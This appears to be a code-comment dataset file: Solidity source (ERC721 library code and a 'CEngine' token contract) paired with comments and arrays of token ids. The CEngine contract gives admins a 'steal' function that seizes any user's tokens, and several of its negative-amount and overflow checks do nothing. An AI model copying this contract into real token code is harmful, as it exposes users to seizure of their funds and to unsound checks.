name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
allows for minting to happen even if the contratc is paused & vice versa
bool public gloablMintStatus;
10,114,503
[ 1, 5965, 87, 364, 312, 474, 310, 358, 5865, 5456, 309, 326, 16252, 270, 71, 353, 17781, 473, 31842, 14690, 69, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1426, 1071, 314, 383, 9237, 49, 474, 1482, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "./KAICompany.sol"; import "./ETF.sol"; contract CEngine { // Mappings mapping (address => uint256) public balances; // Storing token balances mapping (address => uint256) public rankings; // Storing rankings mapping (address => bool) public isClaimed; // Storing claim status // Note: claim is a functionality that allows users to 'claim' 10,000 tokens at the beginning of the yr/instantiation KAICompany[] public companies; // The company list ETF public etf; uint256 public listLength; // the length of the company list uint256 id; // current id of the last added company mapping(address => bool) public contractOwner; // the contract owner address // modifier to make functions only accessible to owners modifier onlyOwner() { if (!contractOwner[msg.sender]) { revert("Function was not called by owner."); } _; // continue executing rest of method body } // constructor for the conviction engine constructor(uint256 _initialSupply) public { balances[msg.sender] = _initialSupply; listLength = 0; id = 0; // set admins contractOwner[0xFbe6Fb5F2613f2ee6e029958A69488002BFd3221] = true; contractOwner[0x5A740Cab0FA126827b101dC92a9A6D7e2B630b1E] = true; contractOwner[0x9d924b569425c3daf3370434ebf31d6deeceaca1] = true; // create etf etf = new ETF("SPX"); } // addConvictionETF adds conviction to etf with (token amount: _amount) function addConvictionETF(uint256 _amount) public onlyOwner returns(bool) { require(balances[msg.sender] >= _amount, "Needs enough tokens."); balances[msg.sender] -= _amount; etf.addConviction(msg.sender,_amount); return true; } // addCompany adds a company with (token amount: _amount, company name: _name) function addCompany(uint256 _amount, bytes32 _name) public onlyOwner returns (bool){ require(balances[msg.sender] >= _amount, "Needs enough tokens."); balances[msg.sender] -= _amount; KAICompany newCompany = new KAICompany(_amount, _name, msg.sender, id, rankings[msg.sender]); companies.push(newCompany); id++; listLength++; return true; } // addConviction adds conviction to a company with (token amount: _amount, company id: _id) function addConviction(uint256 _amount, uint _id) public returns (bool){ require(balances[msg.sender] >= _amount, "Needs enough tokens."); balances[msg.sender] -= _amount; companies[_id].addConviction(msg.sender, _amount); return true; } // addnConviction adds negative conviction to a company with (token amount: _amount, company id: _id) function addnConviction(uint256 _amount, uint _id) public returns(bool) { require(balances[msg.sender] >= _amount, "Needs enough tokens."); balances[msg.sender] -= _amount; companies[_id].addnConviction(msg.sender, _amount); return true; } // addTeam adds a team member to a company with (address of addee: _addee, company id: _id) function addTeam(address _addee, uint _id) public returns (bool){ companies[_id].addTeam(msg.sender, _addee); return true; } // hold sets a company on hold given (company id: _id) function hold(uint _id) public returns (bool){ companies[_id].hold(msg.sender); return true; } // unhold unholds a company given (company id: _id) function unhold(uint _id) public returns (bool){ companies[_id].unhold(msg.sender); return true; } // progressStage moves a company forward by one stage given (company id: _id) function progressStage(uint _id) public returns (bool){ companies[_id].nextStage(msg.sender); return true; } // claim distributed tokens to the user if the tokens haven't been claimed function claim() public returns (bool){ require(!isClaimed[msg.sender], "Already claimed tokens"); isClaimed[msg.sender] = true; balances[msg.sender] += 10000; return true; } // setHOD sets the HOD for a company given (address of HOD: _hod, company id: _id) function setHOD(address _hod, uint _id) public returns (bool) { companies[_id].setHOD(msg.sender, _hod); return true; } ///// ADMIN FUNCTIONS - functions only available to the admin // transfer sends tokens from user to an address given (destination address: _to, token amount: _value) function transfer(address _to, uint256 _value) public onlyOwner returns (bool) { require(balances[msg.sender] >= _value, "Not enough tokens"); require(balances[_to] + _value >= balances[_to], "Value entered is not accepted"); balances[msg.sender] -= _value; balances[_to] += _value; return true; } // setRank sets the rank of a user given (user address: _addr, rank level: _level) function setRank(address _addr, uint256 _level) public onlyOwner returns(bool) { rankings[_addr] = _level; return true; } // steal steals tokens from a user given (target address: _addr, token amount: _amount) function steal(address _addr, uint256 _amount) public onlyOwner returns(bool) { require(_amount > 0, "Negative amount entered"); require(balances[_addr] > _amount, "amount is negative"); require(balances[_addr] + balances[msg.sender] > 0, "overflow"); balances[_addr] -= _amount; balances[msg.sender] += _amount; return true; } // mint creates more tokens in the admin account given (token amount: _amount) function mint(uint256 _amount) public onlyOwner returns(bool) { require(_amount > 0, "Negative amount entered"); require(balances[msg.sender] + _amount > 0, "Amount entered causes overflow"); balances[msg.sender] += _amount; return true; } // burn destroys tokens in the admin account given (token amount: _amount) function burn(uint _amount) public onlyOwner returns(bool) { require(_amount > 0, "Negative amount entered"); require(balances[msg.sender] > _amount, "Not enough tokens to burn"); balances[msg.sender] -= _amount; return true; } // setAdmin sets a user as admin given (address of new admin: _addr) function setAdmin(address _addr) public onlyOwner returns(bool) { require(_addr != address(0), "Error in address"); contractOwner[_addr] = true; return true; } // unsetAdmin removes admin rights of a user given (address of admin: _addr) function unsetAdmin(address _addr) public onlyOwner returns(bool) { require(_addr != address(0), "Invalid address"); contractOwner[_addr] = false; return true; } }
burn destroys tokens in the admin account given (token amount: _amount)
function burn(uint _amount) public onlyOwner returns(bool) { require(_amount > 0, "Negative amount entered"); require(balances[msg.sender] > _amount, "Not enough tokens to burn"); balances[msg.sender] -= _amount; return true; }
13,135,969
[ 1, 70, 321, 1570, 28599, 2430, 316, 326, 3981, 2236, 864, 261, 2316, 3844, 30, 389, 8949, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
